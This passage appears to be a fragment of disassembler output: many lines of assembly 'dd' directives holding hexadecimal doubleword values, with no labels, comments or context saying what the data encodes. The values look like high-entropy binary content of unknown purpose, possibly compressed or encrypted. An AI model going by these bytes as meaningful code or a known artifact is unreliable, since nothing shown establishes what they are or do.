0CE003B3Dh, 51D45778h, 3B95620h dd 9DADCE0h, 0DFB012EEh, 0CD05CEA1h, 50417D39h, 215245C0h dd 438C3926h, 8A592887h, 7380DB49h, 0FBAEFECEh, 1EB7970Bh dd 0DA910025h, 9B24B5h, 2F2D7A1Fh, 27B64F5Dh, 6E00C0Bh dd 0BFE7803Eh, 3BF751h, 1CCC0965h, 0D42D4AFEh, 0C53C1D00h dd 2B414E5Bh, 3A720049h, 82CFFA81h, 2326D546h, 0CD00685Eh dd 70C922CBh, 888107F4h, 40618B5Dh, 35596477h, 4048BEE2h dd 0BFA000C4h, 49E463EAh, 4DC0E05h, 2D609E26h, 0E3B37891h dd 8336563Bh, 7392B23Ch, 0F56EF8D7h, 0C1FA0075h, 0B9BE14D0h dd 0A91C8C5Fh, 86FB4B65h, 3CF61216h, 41B40060h, 8E3D2A67h dd 470E0335h, 0A1108D5Ch, 0B040AE9Ah, 923D898Ch, 1B80E720h dd 0EC89E8BFh, 0B71980B3h, 8EE110C0h, 0C71F3755h, 0CA5EAE20h dd 35BB0164h, 0D07C3DB8h, 0E600AA11h, 1A192461h, 90C8D6h dd 7B758F3Ch, 0BCC2AE39h, 22998100h, 0B8C5A75Dh, 74C300ACh dd 0D5346598h, 9F3F0313h, 3B50D0AEh, 0D0357F37h, 90A6408Eh dd 7D81604h, 642CA23Ch, 15C67739h, 95E000CCh, 4B7243BAh dd 0AB6ADB00h, 0C0BF83A6h, 907E50E5h, 64CFC0Eh, 98B7B477h dd 800059DAh, 0F66B8F74h, 1949D82h, 4FC53DE1h, 80E07972h dd 14E30B89h, 1528913h, 0C8F8DBD9h, 0F86EC1FBh, 4C02AE95h dd 232B03E5h, 10C0A036h, 6D3EF14h, 0BB9D249Ah, 0CA20D87Dh dd 3523301Ch, 2A3F8429h, 46965F00h, 24EE4CC3h, 0EB320CF9h dd 6BA0E920h, 3C802C03h, 0D8E41EEAh, 3FCA9AEh, 0E1D93663h dd 0C91F30B5h, 21020BDCh, 0C0D67BAEh, 0E5AC56Ah, 922D72C1h dd 9AEA6180h, 62E6E1A1h, 37814360h, 3B416Ch, 2A97421Ah dd 0E3D30474h, 59D7B500h, 0D5D14B02h, 2BA100FAh, 1ABD6ACEh dd 3C00BF58h, 0A0804D11h, 942DE1h, 0B8703035h, 1FB22A42h dd 1E2B2007h, 58B0B014h, 0FD27EC0h, 22335702h, 71FB9340h dd 0A9038110h, 602142B7h, 63102B70h, 53884104h, 0CB10801Ch dd 6A541634h, 3E7679h, 4347705Dh, 88E2365Ah, 15DD1B01h dd 0DBBACABEh, 840A2990h, 615D5F07h, 0BEDA0E08h, 63A488FEh dd 88DC7388h, 4F41FFD4h, 0EB1135F1h, 125F1265h, 2910FB63h dd 9000322Eh, 0B2A2938Bh, 7E0FB17Ah, 80455AEEh, 136247A7h dd 0F60D01DDh, 0B5515B0Bh, 0CFD940AAh, 0FE759479h, 589B1903h dd 0A8F21084h, 374BD5Ch, 5B68FC70h, 0E2987709h, 0D37C1BE9h dd 0C251A807h, 0CE00EF02h, 552E96h, 0FE83DF01h, 0D46F774Eh dd 49267100h, 0FAA747C7h, 0F9D60020h, 0C2B6B49Fh, 0F001FD2Ah dd 0A5D5731h, 0A470EF42h, 321F0F78h, 4F20AB2Ch, 0DCB7BAF4h dd 918F9000h, 397E4C94h, 9B430714h, 5CFB0D27h, 7600C510h dd 8A94AEBEh, 0E95EABh, 0C08D6C4Dh, 0FB4608F3h, 952AF100h dd 9140A963h, 24B90089h, 0B55D0FFh, 150030BFh, 9F671631h dd 4E45C59h, 0C925071h, 0FD46C353h, 10004FEBh, 68D1C8F9h dd 743CEB7h, 6FE1398Ch, 695090B6h, 2A00445Ah, 0B7E38990h dd 5877822h, 4563EEAEh, 0C500AFBDh, 0CCD6942Fh, 0CBE90072h dd 0FAB9CF5Dh, 0EA0064AEh, 6B24A9F8h, 381118h, 0EBC270F5h dd 0DBCA4419h, 0A7DD8700h, 0D977B07Ah, 163B0065h, 96EFC90Dh dd 1B0E738Ah, 0C0C26155h, 0F238444Ah, 0D1E5002Ah, 0FC2FF6E9h dd 7F03A1ADh, 1CE899ABh, 700DA016h, 118C0101h, 52F8CD1Ah dd 0A584409Dh, 6028F779h, 1201FFABh, 0AAAE9E8Dh, 48D0D685h dd 0B81B0008h, 0E0E14E76h, 6600CD03h, 0E90ABC19h, 0EA89674h dd 0CF22B65Ah, 634ACE41h, 0E489D9CCh, 7D00B74Fh, 0E83FE39Ah dd 0E2D2C13Ch, 7565244Ch, 8DAE008Ah, 2B52771Eh, 239D031Ch dd 0E10EE940h, 0E0E5BDh, 0E3C8740Ah, 82D89CCh, 1428F200h dd 90B55A2Fh, 3E033C7Bh, 5EA09D00h, 79587721h, 0BA8EB017h dd 873B57FCh, 7E222580h, 0C52ED6F0h, 569F2F1Ch, 23D36080h dd 0C0BEE89Ah, 0B9341610h, 3F011B4Ch, 6444689Ch, 382013C2h dd 2BC6044Ah, 90B580D7h, 5E70E514h, 0CBE8F24h, 23780989h dd 0B0219504h, 7DD2EE5Fh, 2F714Bh, 74CE4C3Ch, 0FF4A19CAh dd 0C77EF000h, 2AEC0ABBh, 7A2D000Eh, 0A34F2B4Ch, 65063C54h dd 51D6BAFFh, 411B0740h, 20A0FA4Ah, 0FD143A91h, 32E13007h dd 0C7402212h, 219D5Ch, 92A3118h, 56B1573Fh, 5449C800h dd 0AB2350BEh, 95410E89h, 0A40C0BDh, 9BADD140h, 5F4B175h dd 0E3DC3201h, 396A6F8Bh, 3A8EF9CBh, 0D015C8h, 8908F50Ch dd 0D321CFECh, 7EEEBD0Fh, 6B02C0F7h, 14E6F0E7h, 808860EFh dd 59111Ch, 448B4BFh, 0A700C883h, 94BA242Ah, 75D4A3Fh dd 0FB125BF5h, 0FB6F319h, 9C8BABD8h, 2BCA2100h, 4FD407C9h dd 3C6E00C2h, 0ADB1F4FEh, 0F801C3E0h, 0A1CA56CEh, 7C225C22h dd 0B823F314h, 32D8F007h, 2128208Dh, 0C5772B80h, 0BB0070Eh dd 362D0046h, 5C31C74h, 2ED9F9B3h, 9FC009Eh, 155BC744h dd 6BE87E26h, 8E3BF020h, 41AF0034h, 27C57BB5h, 0AC750B19h dd 66804E6Ch, 0B2563FB4h, 0D59C8201h, 1C3E234Bh, 7A31B0EBh dd 5222000Ch, 345AD6AEh, 0F80A446Bh, 0FE6CFD4Fh, 0DEB41600h dd 9059BBh, 634C54F5h, 0B58C2497h, 946DAB13h, 3519EA00h dd 3D18A1h, 960B9058h, 0F8272BBBh, 0E00FA600h, 897F9977h dd 207693h, 7D1886FFh, 0C911EFEh, 0B088A46Eh, 0ED648FCEh dd 0C05C8719h, 0A0CAEC30h, 0CEE75C07h, 0DF6087D2h, 0A12EB6h dd 1BC72D15h, 3B673C01h, 3ED8700Ch, 1FFEB0B7h, 3552238h dd 98CD4088h, 87827E3Bh, 84114591h, 25720190h, 9738021Dh dd 423761D6h, 67F8A363h, 0B2C01EF2h, 989DB94Bh, 6FBB01F5h dd 13845C97h, 0CC81C8FFh, 0EB0B84B0h, 803B6429h, 0DC0DDDFh dd 45ED00D1h, 34F78E52h, 4E006180h, 517D2393h, 39E789h dd 0EDFCBFA5h, 55CFC642h, 0F805F2F4h, 0EB2D5E26h, 38650480h dd 0D06F4C9Eh, 0E626CF39h, 2A180080h, 7F0ABA51h, 0FC9DF400h dd 0CDFA281Bh, 0D1640362h, 0BEB155DDh, 0F911DEF8h, 0D3615E00h dd 21A55F70h, 1D9E00F1h, 0C97E38C3h, 0DC3898CAh, 95187D39h dd 50784205h, 8FB20009h, 9496F979h, 820A9A7Eh, 0C1D5EFBAh dd 0CF6F2C00h, 1CEB51B6h, 6C298712h, 7A382AD3h, 43EC01B4h dd 0E8D938DDh, 0F8CCE470h, 5B9E9100h, 478CA750h, 529C016Dh dd 0FA3C9319h, 0FAD0B921h, 1BCA4606h, 7E30F33Ah, 0B1B90EBEh dd 7A202A05h, 0A38B509h dd 53163600h, 1EE3B7E2h, 3CAE3FD2h, 40B1829Dh, 0CF8C6408h dd 53012E35h, 181A684Ah, 63C4A6B7h, 4CBD1F3Eh, 6DB900A8h dd 0D39BBA11h, 0C94D5A00h, 46FEDDEBh, 38BF448h, 29E53A07h dd 55A38916h, 0ECBEE1D8h, 0A6825400h, 0C41A3940h, 0DED399Eh dd 99628780h, 28B05E30h, 4B7B0800h, 548450DFh, 0E68800C6h dd 9C4FF36Ah, 950649E2h, 0D504298Ch, 2CD701EAh, 0B1F92B24h dd 4D4C308Bh, 0A4AC2300h, 0C8D01440h, 0DD7002E4h, 0FA611390h dd 2428EE0h, 4B48BD07h, 8930A24Fh, 0E8EF59h, 0E68E7BEAh dd 0FBB485D0h, 9093B7Ah, 81AF637Fh, 0C191444Ch, 1553070h dd 740DE7C8h, 319D9558h, 513EF830h, 1F86F705h, 2883E811h dd 9903800Dh, 71CD390Bh, 499B1D00h, 0A22BDAEDh, 50649424h dd 0A9351600h, 5C072C4Ah, 53E2A4Fh, 5C07DFBFh, 0C0C5D2B5h dd 6B4DF152h, 208BA801h, 0FAA3E6EFh, 286C806Eh, 2900CABBh dd 3FE93C07h, 8BD5D4h, 0F47ADA92h, 2C22FD69h, 0A817AD04h dd 5480EC79h, 81EC4h, 6C4E8D23h, 57EBB247h, 0D95B7000h dd 32772B8h, 0C69A02A0h, 0FD3CE698h, 604D81C0h, 680131FCh dd 91169586h, 4F42D4Ch, 0F7F824AFh, 25FF023Ch, 0C4CB7F5Bh dd 6E783390h, 0BB1E8C0h, 2C2D7CBCh, 0EE83DF9h, 0E5808875h dd 74BBFC41h, 56DD4907h, 20FCE16Fh, 80F1003Dh, 0A2DC9CAEh dd 63008843h, 8BB0C316h, 1DCD5DB4h, 73E6ABBh, 0E0753918h dd 95623D61h, 0F8FA8400h, 0BDA129B2h, 24DFED2h, 0E99E8C58h dd 0A4C860C9h, 1B020A7Dh, 2DD95FEBh, 45B8E195h, 237C9041h dd 9C092428h, 0FC004F9Eh, 0ACB2A20Ch, 1044E230h, 2468B3Ch dd 0D0167BA0h, 8501A1Eh, 7FF78703h, 88E597FAh, 0A040385Bh dd 3D3C19E4h, 6C80E3DBh, 0FF977AC0h, 0F33C5FA9h, 81D00CFh dd 1BC116EEh, 0EB3F81Eh, 94F61981h, 0C709B6A5h, 40231787h dd 8DB4523Ch, 0A8FD5100h, 0A4F76221h, 73D60F36h, 0FF0022E8h dd 0D1494A72h, 0DA007198h, 9A259033h, 25CCEF4h, 15AEE0EBh dd 8B400D0Ch, 0DCB8873Ah, 0A6CCA01h, 4BDE68F7h, 4E8074h dd 93A11451h, 94D7F065h, 73B44C50h, 6986A309h, 78740053h dd 818A7Dh, 91631B07h, 0A6132A2Dh, 9718D800h, 4A8CE151h dd 386D266Ch, 0C0871CB4h, 0B26778D2h, 0C019015h, 0ED5E1D2Fh dd 0B4709338h, 0EC95446Bh, 0A0B90E0Ch, 13A32809h, 20AE931Bh dd 2179A784h, 8E9A7000h, 39231E03h, 3C7EB7h, 0D416866Eh dd 521CB998h, 80D73E38h, 0F3A0BD44h, 381B05D5h, 0BE01483Bh dd 1443E9B2h, 75EB70C2h, 45345E00h, 7C2C49DCh, 9D6201B9h dd 0F612FF53h, 31EBE096h, 50A30E00h, 208823A2h, 7D1E1CA7h dd 0AAC3C0B0h, 4C3B5D05h, 3F92E500h, 0CE699571h, 38D939BFh dd 1CDE6184h, 88348046h, 67004AF2h, 8BCEE152h, 19B0275h dd 0FF9D4795h, 60B7E4C6h, 2BEA8A1Ch, 92807F07h, 806B8C11h dd 544AAC73h, 1FB57A5Ah, 52498341h, 0C3C443C4h, 50C09F68h dd 64BA4D6Eh, 27EDBA03h, 0F89B240Fh, 18C663h, 13FDE3ECh dd 0DC1DFF66h, 7CAD072Ch, 9BAAAE03h, 0D47B802h, 0AF840780h dd 50BE0FE5h, 9A3DCBC6h, 0D8A8EF51h, 320096A9h, 3557F516h dd 0B47DD0h, 0B80C9559h, 0C2A308DAh, 0F771C073h, 11417600h dd 0C96CA84Dh, 89BD016Fh, 1D750E4Ch, 88442084h, 0B207A0EAh dd 0D6C42CF2h, 6D8E4B11h, 5CB357F4h, 5A00058Ch, 412F8983h dd 0C100859Dh, 0C3E8D4EAh, 0CE742Dh, 3488D2EDh, 0B116BA0Fh dd 37152100h, 0BD077D14h, 2CDC9422h, 49A00028h, 40EF5D81h dd 0BBD2F500h, 0E61F48Ah, 380904Bh, 0D97B078Fh, 10012203h dd 5CEDB4D5h, 5420C06Bh, 91AF2015h, 92B5C100h, 0DB4562ABh dd 0D8DF091Dh, 3440F463h, 4DF629A9h, 9BFDE00h, 0ABC5DDCEh dd 9D86007Fh, 939E8D70h, 5A489735h, 36FF00A8h, 0F83A96A2h dd 2B40C065h, 0A87C48B6h, 3071F730h, 84E5ECh, 66D6AF57h dd 88BC2CE0h, 523EA0A0h, 0B4C9BB18h, 0E87428h, 0A2CA6FE1h dd 55033725h, 0B14BF828h, 202EB60Ah, 0D801F8ABh, 4C01D35Dh dd 50992870h, 4F4E763h, 0C02EEBCDh, 132D8086h, 28018162h dd 3591BF7Fh, 68D1E64Bh, 0E1F7C30h, 0DB340530h, 0FD977FE0h dd 0F002C0Ch, 0F9D907A5h, 360333h, 0E3D84377h, 4BAD98A2h dd 0F5859700h, 6B200208h, 401537B0h, 71E08EB8h, 9AA85C92h dd 0AA0F5300h, 479B7DDCh, 0B03F1D65h, 6F860019h, 206154A8h dd 0A7C1309h, 0DA000A70h, 1C0BEE00h, 3AF88Fh, 89306DBh dd 0CC2E6AA8h, 7EE76401h, 8CFDB667h, 4029E042h, 5D4B073Dh dd 0F25202Fh, 7D6462D8h, 1A8716E4h, 2CAF3490h, 0A52A3B3Dh dd 8854AB00h, 0EF42CB58h, 33978126h, 8BE6C900h, 0EE364C7h dd 0DE6D60C3h, 0B268DCF2h, 3B141892h, 0FCEA70h, 0FE987E22h dd 13C62D11h, 41FF2EA6h, 744E91C4h, 2395E883h, 0C3945E07h dd 0B3003598h, 170448h, 0AFEA81C4h, 4189B592h, 1E7C100h dd 0AE713E6Ch, 913F073Ah, 707E64BCh, 0C52AFEB3h, 0C784FB12h dd 76B40C30h, 0CD1B0014h, 17856E21h, 0FE3D8EA7h, 0C013802Ch dd 3AD05F28h, 661107FBh, 0C0DB9B4Bh, 0C5380AB8h, 710024ECh dd 4A7674A7h, 1C247F8h, 45C9E298h, 20DFD265h, 0F20FC634h dd 7B91DC7h, 7DF0A22Ah, 3F5FD489h, 0CF824435h, 0E4C3CB04h dd 47E2F861h, 3F7302BCh, 0E64EE8E0h, 50F3D300h, 0D21FD130h dd 56130063h, 6E67D82Ah, 0E8F47D73h, 1E3B6400h, 930471A2h dd 48A1000Ch, 0C31C960Bh, 0E602139Ch, 77E4630Ah, 20F850A4h dd 223A72B3h, 8004BB0Dh, 94BBE3C8h, 0B0F267E5h, 184A4C3Ch dd 0C932C71Eh, 0EF0289B7h, 0A0C9F9ADh, 3D7DE864h, 0E1C74D02h dd 0C1E2B3F1h, 0BC6098DCh, 138000A8h, 8966A0F6h, 6000399Eh dd 45F5865Bh, 10287Ah, 0B37785ABh, 32DFAD91h, 1BE50B13h dd 23195C00h, 9946D9h, 7EFEF627h, 24C66FFh, 0EE7B3800h dd 0ACC476C5h, 99810711h, 64F5612h, 7800D093h, 7CA6103Bh dd 48479830h, 0DB04F03Ah, 0C0887932h, 1809AEE0h, 937EB90Eh dd 0B56EC075h, 0B78BCC9h, 7D6C8AAAh, 73CD3000h, 0E91D6793h dd 0C06CEFFEh, 818443h, 0DBE87E96h, 0DA8C06Eh, 7AA5BD0Fh dd 81A0425Bh, 40F8E822h, 24DDB8F8h, 2280AEBh, 0F5CF605Ch dd 0ED6758C0h, 0C7E8B603h, 0D8B86E27h, 3C6A78DFh, 75B047E3h dd 4D676F40h, 2900A6EAh, 9B7661D3h, 1EC97D48h, 126007D0h dd 5AE003ECh, 3090B7E1h, 78097F01h, 175F92h, 109CA804h dd 3A6300EAh, 0D754B19h, 0A2C25511h, 0C0153CFEh, 0A8F4B8h dd 6FAB6644h, 86118F73h, 12B49907h, 0E7C00DE1h, 0E9DAC72h dd 0A7CEF65Ch, 10573467h, 498EEB10h, 2B0A170Fh, 3149E4h dd 0F90289BCh, 3A40E450h, 8FBD03D3h, 5A792180h, 8E4FD9E7h dd 48A3100h, 0D8BC63A7h, 6CBB062Eh, 28FF4BA5h, 5A565Ch dd 841E6851h, 762DC27h, 0D12CD4B9h, 0D99E00A4h, 0B21C89AEh dd 260DEA14h, 0FCE178C8h, 23B1F0E3h, 3744300Fh, 8C4BB891h dd 0B3E0E06h, 38081A32h, 20E33826h, 56E03620h, 7E003528h dd 0F34CC61Fh, 6B1FC05h, 0FFF3882h, 0C1971F1h, 8A3007EAh dd 0EC3FA430h, 0E72237D7h, 0B9408020h, 6B03AA1Bh, 2CB8A58Dh dd 0DE711D8Ch, 30EC5F1Fh, 37470E39h, 0C728C260h, 1A4DD6Bh dd 3AE6DC8h, 91EB7Fh, 1834EC6h, 0ECEAE4B4h, 0F7D19F11h dd 0C4F11EE1h, 85EE78FCh, 8E42CD00h, 0E1F1C44h, 45560035h dd 0ADDE8F2h, 0AEF86696h dd 6F5AA600h, 7BC4389Fh, 0EB9400D0h, 928FFB6Dh, 0F4EAB3B8h dd 52615F0h, 0E300A926h, 3A40918Eh, 0A43F547Fh, 4E9A0003h dd 0EDC4B1E8h, 0AC66BA84h, 0E210508h, 964EAFF4h, 26075F43h dd 91E942E1h, 9D803F49h, 9CB1F14Eh, 0F93E448Ch, 8D4EB600h dd 3AFE8851h, 3C3B00C0h, 10A2A8D0h, 58005979h, 0E05D0E4Ah dd 0FDBF8EE6h, 583438A3h, 710B5725h, 1F4C6D8h, 7E2E6BB0h dd 143FDFF0h, 0A6160908h, 79B06860h, 0DB31B977h, 0F5DD8042h dd 5106E303h, 0A8837C38h, 3E081520h, 1C3E8076h, 18ABCB18h dd 0C9248727h, 0F1400448h, 19D7FEAh, 0ECD6D308h, 0D1DFC310h dd 0CF7074F5h, 6B7FD218h, 0F19A1644h, 1DDB68CCh, 30411F93h dd 87268299h, 2C5C1C0Ch, 1066883h, 0D3B1047h, 0F0CF25C6h dd 1C009112h, 9822BF17h, 1AD6F0h, 5513E953h, 6E115D6Bh dd 3E7FB700h, 68E82BD8h, 6F4F001Fh, 0DF8EE026h, 6100FA8Ah dd 47A4C1B0h, 0D3ABF1h, 30417458h, 506E15BFh, 0D0526D00h dd 0B75A017Dh, 96C20072h, 0B0742C95h, 27009CD4h, 0A27D108Ch dd 476C87h, 7E46263Bh, 0D72C9DCEh, 0A3B538h, 0F9E968DFh dd 0FD74FAh, 0B2461ACh, 3878FB48h, 46816EF3h, 6EE0C9E5h dd 0B8620042h, 399663E8h, 0FF07DC9Bh, 2AEC7C10h, 5C016480h dd 1D6F00B4h, 46357BC3h, 3C00605Eh, 0FDC73613h, 1A85D08h dd 96674402h, 0ECF1D4BAh, 5C04EF11h, 9E34B437h, 24420B80h dd 4DC80094h, 41D6C2B5h, 8000010Ch, 0C3AE8C23h, 64BA15h dd 0FDF9F063h, 82411D04h, 43D6BE07h, 8D8378A9h, 995DB82Ah dd 0DB7B62h, 5ADD0C71h, 39EE33C1h, 70249A00h, 1114BEC2h dd 825E02EAh, 0B29D08B4h, 8F640B60h, 704B363Eh, 0E70042F0h dd 6924FBD6h, 0E14D4C0h, 3F51BF9Eh, 0C20AEA80h, 0BA00358Ch dd 6ED57409h, 7EB054h, 16A12C0h, 633A13DEh, 528D13Dh, 0EE4EE417h dd 0B01DAC0Ah, 0A0915A00h, 28FD3F6Ah, 850C86A4h, 5D807B04h dd 35F82268h, 271AA900h, 7538BC5Fh, 0BAA3038Bh, 1B9555C4h dd 0FC4B9D81h, 103135F2h, 7ECC2919h, 115BC311h, 1F114C91h dd 10E01215h, 0C5895013h, 42849C08h, 105E21F4h, 129084F9h dd 447F8844h, 0CD484D89h, 25104842h, 0F528049Ch, 64014A53h dd 940EBF08h, 701178B0h, 8352129h, 44940B20h, 26D01114h dd 1008E921h, 3589106h, 72D67454h, 6044FA1Ch, 7B2E994h dd 0DC9EB756h, 0E871007Dh, 8E00CCACh, 8B34F45h, 307EC6B0h dd 5518A3BAh, 947CD8E9h, 2F2CB500h, 0A885A923h, 5D030F48h dd 0D440F6C1h, 5E316465h, 33ABD000h, 4BB9BE26h, 7DF700B6h dd 529B47C2h, 0EF00A736h, 9C260E91h, 0E0B70586h, 0E47B42h dd 0A98F0AE1h, 4DE0A639h, 40C11100h, 953F72Ah, 698E0728h dd 80F6FD04h, 3CC68405h, 0BDA8F90Fh, 67BA6471h, 11122890h dd 8A57005Ch, 44E6F34Dh, 6F07908Ch, 0DD770B3Ch, 5B65E38Eh dd 38488014h, 0CC601FB6h, 44C65C9Bh, 0C0332E2Dh, 0AAF6D9D9h dd 705EBE01h, 26CCB4FDh, 0C5796081h, 86F1E11Ch, 6527E588h dd 5D7282h, 73ACEA45h, 2D3B2141h, 1D7D38h, 0A2FADE64h dd 0A385E1h, 7FE840C8h, 0A587C331h, 81D6CA3Eh, 0D7022A62h dd 7ACCA247h, 68F5037Ch, 1A42216h, 0CCA01AF3h, 0FC00EFEEh dd 0C40F8D39h, 1D92ECFDh, 8028CF6Ah, 544CD3B5h, 6F7FAE83h dd 0F403A70Fh, 9805C5Eh, 0CC44F14Bh, 90460B28h, 7607F0B3h dd 3F39F0E3h, 0A2B00F30h, 0C4006573h, 384E528Dh, 3D700A8Ch dd 0D000D257h, 3308834h, 0B8005187h, 0CC5602A6h, 336E58h dd 0E821556Ah, 99EE7605h, 966FFC0Ah, 1300982Ch, 0DCB11734h dd 258B07FEh, 0F0FBA5A8h, 0B81C5577h, 2F2AC100h, 85CF8CECh dd 0C8730090h, 7A3F06F1h, 1EF8EB3Ah, 56182800h, 0F06CF6C7h dd 40A34864h, 9D420800h, 21142BC2h, 0B5FA103h, 0D0829270h dd 0FD95D9Ah, 0E4E8DAFFh, 0AFE16B40h, 0B3071983h, 3B0A655Ch dd 0C58013F7h, 3825B79h, 89DEE7ACh, 1F8261B6h, 0AB0D60FFh dd 24A7283Fh, 0B4EA00F4h, 980A2D97h, 7C0029CEh, 5E0CF00Eh dd 3F2CD05h, 0F4A60B0Fh, 0FEAAFD55h, 0C0121849h, 2A07C022h dd 4C210A61h, 694A57A0h, 831800BFh, 88BA6F51h, 3E008C8Eh dd 29E4A323h, 13C5717h, 9DFDF72Dh, 0E49339D1h, 0E604DC3Fh dd 0B3657CB7h, 0C716A480h, 781B00CFh, 176C6A48h, 0A84838C3h dd 6340024h, 5668A469h, 548A00F8h, 0C00DAE09h, 0E6070A03h dd 61675A41h, 602AC642h, 0F4A0977h, 744FC7BCh, 0F2955F03h dd 8C2FDCA8h, 5D0056E0h, 7511D686h, 50A7E591h, 847F8C7h dd 0F68FE00Ah, 0F5C0B00h, 26D4A9h, 0CDBEDD83h, 7D6F8EF3h dd 39D03B13h, 8504DD02h, 6BA361D7h, 0FBEC9E8h, 3336236h dd 30214680h, 0D2B8EF4Eh, 0AB7CE714h, 1A007AF8h, 839CFCB5h dd 0ECC921Fh, 3A52D2F4h, 0E85C40C0h, 0C3000D1Bh, 8EEB282Bh dd 33094DBh, 6D4DFD3Dh, 4A903431h, 0C500061Ah, 76965712h dd 1AA8E44h, 8701DB2Eh, 30843C31h, 30009975h, 331F02F5h dd 0A93BFh, 0D4FDFF5Dh, 2DB4E82Ch, 61756212h, 0F3741C00h dd 0A9530h, 3714CE2h, 4394F7E4h, 9600597Ch, 8147A53Dh dd 396806h, 7302B0B5h, 0BC65BBF8h, 2AED9A07h, 429058FEh dd 72F95Ch, 173A2240h, 18991207h, 2505C570h, 6EA308A1h dd 937380FFh, 0FB0E5083h, 401F2F67h, 0CAB6B4C1h, 0C013FD5h dd 0E2597580h, 9977CCDh, 834F4800h, 8A84C77Ah, 0E5E30008h dd 0BED8AC5Eh, 902EB1Eh, 14034B12h, 87A46013h, 0AF620FBFh dd 0A3A005CFh, 0EAB6D046h, 9BA4360Bh, 3ED90054h, 30DFC0h dd 0CB2A0C17h, 965C5AECh, 0C18E3Eh, 53343365h, 41C42Eh dd 0E1B021AEh, 0B27D6E4Ch, 2D1212F4h, 7C404AFBh, 319962F5h dd 727800FAh, 0C7835F96h, 13021DE8h, 0D5C9E6B7h, 0D4076029h dd 5D551D7Fh, 0FB3B8046h, 32363E74h, 0E477C203h, 0C86E92F2h dd 0F7CCCFh, 31AE4A5Ch, 936389E6h, 167A7F3Ch, 4F00DEFDh dd 0D8D9BAF6h, 0B8497FC0h, 0C76A1D48h, 8AA54701h, 48E31061h dd 8F3F7B7Dh, 0DF2680B4h, 0EBDC851Ah, 0C5353D4Ch, 0C7E9B80h dd 1DCA522Dh, 0E78E6C00h, 0A5B7BBD0h, 7FC70253h, 1426F1A8h dd 7472417Fh, 0CF617470h, 0CD2E3368h, 0F1DB28C0h, 0D59CA7Ch dd 0A609004Ah, 9CA592AFh, 3FCD00B1h, 0DF688C64h, 612C1901h dd 0EE009006h, 2023B45Ah, 7F7E06FAh, 828AE66Bh, 0D04C8BF0h dd 0AF76000Fh, 0A1D70D90h, 0B4D300E8h, 473038BEh, 2948FB19h dd 820008Ch, 0D89D5127h, 0A32C00C2h, 0F37E511h, 0E900D18Ch dd 0E6369463h, 126130Ch, 7DD9E34Bh, 0F3041BA6h, 0A02FB0F7h dd 97E6A4CAh, 57821614h, 7D2800A8h, 8BC5D431h, 72A21FA5h dd 258EC0EDh, 13938E2h, 866C2600h, 73A0919Eh, 14CA0348h dd 3D3BFFDEh, 6B221805h, 7880475Ah, 53FCC04h, 4C9045EBh dd 3EDC0065h, 0C4A1E814h, 0A48C0C02h, 0EBC2642Fh, 7E258840h dd 9BAD4849h, 8D031A00h, 1BB715Dh, 6949800h, 0AC845F0Fh dd 69601462h, 4000A812h, 547E0E71h, 7D00C080h, 0CEBD6EBFh dd 0C78752h, 5D60754Ah, 0C4273C23h, 6E397800h, 7A1B625Bh dd 2CEB0046h, 0ACFDB16Dh, 1FEE611Ch, 58080B31h, 8020BCA3h dd 8D4A0028h, 4792224Fh, 0BB601FACh, 9F566C18h, 0CBF8269Ch dd 4D507C4h, 0CB0039A1h, 726C69C9h, 20756324h, 82EA3903h dd 5135B047h, 578E00B6h, 153EA120h, 0ECFB33EBh, 0B101E2B5h dd 0DA9B50E6h dd 50EA1E5Bh, 0E87C00h, 0DD9FB653h, 56672378h, 5283B300h dd 13903705h, 737A9Dh, 0BC6241Ah, 0CC5A342Eh, 260AEB00h dd 0B44F9442h, 75FE00F6h, 7298DF95h, 0F7024516h, 9060AD39h dd 0FC7B409Ch, 0DC750014h, 1872A04Ch, 0F8016A68h, 69C3499Ah dd 18602013h, 80D8B963h, 8C1EF04Ch, 63B46C3h, 326080AFh dd 0E71CFA35h, 0DCB700E2h, 8F7F0F07h, 6B02A3F2h, 2ACEE6C4h dd 0C30C4075h, 54DC1DD3h, 1F03D78Ah, 0DA6D8060h, 0D119DFC4h dd 812E6C04h, 50805038h, 0A2ADD8h, 15F291A5h, 851D2973h dd 52D9C002h, 80AB8A68h, 216056C8h, 1FDF80Fh, 0B0904339h dd 0F0576D24h, 2A009C92h, 0D6823CF7h, 0CE46C681h, 0A9E5FC88h dd 0FE3C8C06h, 0CF03D3FCh, 37AECB58h, 0B749B8BCh, 31BB0D9h dd 3125847Ah, 46800E3Dh, 961FD034h, 79866CD6h, 80B05573h dd 9EFE49Fh, 0CE5B20CCh, 221F7420h, 6E00415Fh, 0AC79D159h dd 71083Eh, 55C1A0F8h, 387889D4h, 72F3D000h, 9E96ED94h dd 26E707BFh, 0E032E592h, 0F5453CADh, 5B0004E8h, 0F9B3C0FBh dd 2F9DD4h, 7AD0CB97h, 48E8C1E5h, 8100AE7Eh, 5B0D3FF3h dd 7D2C3307h, 1C1258E7h, 6D5C6B0Eh, 0C121B664h, 7BEDDA98h dd 16400BB0h, 41D2B06Eh, 1B2F4328h, 0BF983448h, 69B2D50Fh dd 171C9CDDh, 0CDCA2740h, 4802E25Dh, 0A0B9097h, 1C008F61h dd 0B465AC2Fh, 157563Ch, 70893013h, 0C2F4A3AAh, 0A9FC1E40h dd 5CBE438Fh, 980018FFh, 7F9CFB33h, 1D14619h, 0CAAC72FAh dd 704A979Dh, 8CE02FD6h, 0EFC69C07h, 5CC0C189h, 3C4B2C5Bh dd 8300524Eh, 0DDE49044h, 0CC000842h, 8130B555h, 1210B6C2h dd 416C2FE3h, 278452DCh, 4E00D635h, 405FFB86h, 6CC9D570h dd 0C04CAE5Ah, 0A57C7B8Ah, 0C6AA00FAh, 93F5E357h, 19004DF7h dd 8FF6C0AEh, 1FE0557Ah, 2CC5C4h, 99B390EAh, 0AB097F1Bh dd 785CF72h, 66D0DBDCh, 1D0C739Eh, 8090D8A3h, 2D6B5F58h dd 1204A578h, 7EC4CA9Fh, 0F439F4D0h, 0E19E00FDh, 462D4A1Dh dd 0A21E9AF9h, 0FF00108Eh, 444F555Eh, 8C1F01E4h, 5DE689EEh dd 94C0F249h, 0A6240337h, 9F3F4077h, 1E0469DDh, 80B00794h dd 140B084h, 2F859AA2h, 61AF6CABh, 0F1308046h, 9F6D886h dd 39240183h, 0D08F0381h, 5BD0DBADh, 2500A5A6h, 9DF86B40h dd 3F77A880h, 0A080F98Dh, 6E94A11Eh, 10046A6h, 3A2A1014h dd 35D7E6h, 0DA52385Bh, 7D83F30h, 98419102h, 40C4E943h dd 0FAF4E520h, 4831702Dh, 0F026460h, 759F0214h, 0A8447B00h dd 0E0154189h, 2E50E2C1h, 5C1298E7h, 6C4050C5h, 0DEDB1A25h dd 